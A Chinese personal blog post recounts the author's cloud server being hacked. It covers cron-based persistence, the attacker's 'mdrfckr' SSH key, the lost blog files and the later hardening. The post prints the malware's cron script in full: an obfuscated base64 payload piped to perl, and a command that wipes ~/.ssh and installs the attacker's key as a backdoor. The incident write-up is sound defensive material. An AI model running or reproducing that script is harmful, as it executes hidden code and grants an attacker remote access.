今天我被黑了

今天是特别的一天


老子被黑客黑了,写的markdown全不见了,恢复无望。

早上5点左右,腾讯云给我发消息

有木马程序在运行,请前往处理。我实在想不清楚,既然你知道有黑客在捣鬼,为什么不直接处理掉,通知我干啥?收保护费吗?呵。

8:50 起床看看

我登陆自己的账户时,发现需要输入密码,我的想法是黑客把我的密码改掉了,因为我早就设置了密钥登陆,用我的电脑根本不需要手动输入密码。
我查看了 authorized_keys 发现自己的公钥已经被删除,那里杵着一条丑陋的公钥

1
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

呵,用户名都这么粗鲁“mdrfckr == mother fucker?”
于是我把自己的公钥重新写上去,重启后使用免密登陆,发现失败了。这个东西又自己出现了。
额,重复修改自己的公钥,真和国内的流氓首页有点像啊。

诊断

我发现,自己修改完 authorized_keys 是可以使用免密登陆的,但是重启或者过一段时间后,authorized_keys 又被改了回去。
我便想到了计划任务。
看计划任务列表:
hei

难怪:重启我的公钥也会失效。它重启时也会执行脚本。
那咱来拜读一下这些大作:
1
2
3

其中cron 和 anacron 在之前已经被我删除了,但是我估计它们的作用就是控制我的“计划任务”,从名字上能看出来

打开一个run看看都是啥?

1
2
3
echo "ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMwVStDRE4sMzBYK0MkUi0yPEA9NllMOTctUygiMVM5NylWXzo2MU88Q0wqOzdEQCknIU88RzFBLzI8VC0jLEcuUElNPjIhYDhWJU44NkVTLzJAQihTYFAtUihJLlBJTT4yIWA4NjFNPFNUSChEJEIrIik4KEJEW18iRlVZKCQhQT03MUgvMkBCOyZdQzg2UUg7Vy1UKEJEWyJASU0+MmBEOyZFTjg3LT87NiVYLzM4WyJGVVkoIjFTOyY1RTwjVFMuUEgqOzdEQCkmWUlfOFZMQC8yIUc5NzFOOjYtSyoiRFsiRlVZKCIxSTxGLU44NlVFKCNUQDlWNVQ7RkVDOlJASS5QSU0
.......此处省略10000字......+MmBEPEY1QTsmWUE7NjRALzJgSDgnNU44NlVFXygiVUE4IkRbIkBJTT4yYEQ4Ni1FPFctTzxWQUU7JlBALzJgUS5QSU0NMKigiYEAoJ1RAXzk2UVM6NjhAKiIxQTkmMVI5Ny1TKCNVXigiXT42UyRSNzNdPDknTFErIyldNyJZOywzKT0vVVFEPlMkTCxHVTwrRUxRLEVUXzcmMVssMlBSPzVQTl82UyRSNzNdPDknTFErIyldKSJcSSgnTCooImBAKCJgQCgiIVI5NzFVPEZYQCkmJUQ5JylFPFcsWyJCYEAoIiFdKCY1TDxWRUYoIkBEODYxRDxGNVNfPFJgXT9CIVQ8Ql1BKzdJISs1SE8rUkRAPlJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQCJCYEAoImBAKCJgQDxGNVQ9NylOKCZFTjk3MT87RzFPXzgyQEgqJj1FPSZBTzxXMUI+NllBOzY0SCkmJUQ5JylFPFcsSSo1TFQ3MkU7LCVUSS5QSEAoImBAPzIhRTsnLUUoJ0wqKCJgQCgiYEAoIiFSOTcxVSs8RlhbIkJgQCgiIV0iR1R9" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

这个脚本就是说:把一个base64的字符串解码,之后用 perl 运行,呵,这有啥?你咋不直接写shell脚本呢?
然后删掉我的 authorized_keys ,写入黑客的公钥;这样他就可以远程登陆我的机器了。

防御

其实很简单:把计划任务全取消;删除.bashtemp目录;把 authorized_keys 的权限加强;禁止使用密码登陆机器,只使用已知公钥登陆。

绝望

把以上事情干完之后,我发现自己写的博文.md全被删除了,我姑且认为是 perl 脚本干的。尝试恢复无望。
曾经的博文有一半以html的形式存在;另一半完全丢失。
之所以有一部分能留下,是因为这个“分站”部署在/var/www/html;另外一个“分站”部署在我的家目录里。家目录里的所以东西都被删了;而/var/www/html还留着静态网站的残影。
我好傻,认为腾讯云很安全,重要的东西都没备份。

亡羊补牢

既然这样,痛定思痛。干脆重装系统算了。
我重装了系统,重新部署了博客;加固了 authorized_keys;禁止使用密码登陆机器;每一篇博文都在码云上备份;两个分站都部署在根目录,这样即使被入侵,依然能留下“残影”。
虽然blog.zhyu.wang的博文是可以从html中恢复的,但是我累了。
如果我的机器还能被黑客入侵,“我就把眼前这台显示器吃掉!”

测试 sscc 吼吼 吼h
测试失败 再一次
测试

文章作者: Mr. Wang
文章链接: http://blog.zhyu.wang/2019/12/09/%E4%BB%8A%E5%A4%A9%E6%88%91%E8%A2%AB%E9%BB%91%E4%BA%86/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 蓝玉冰城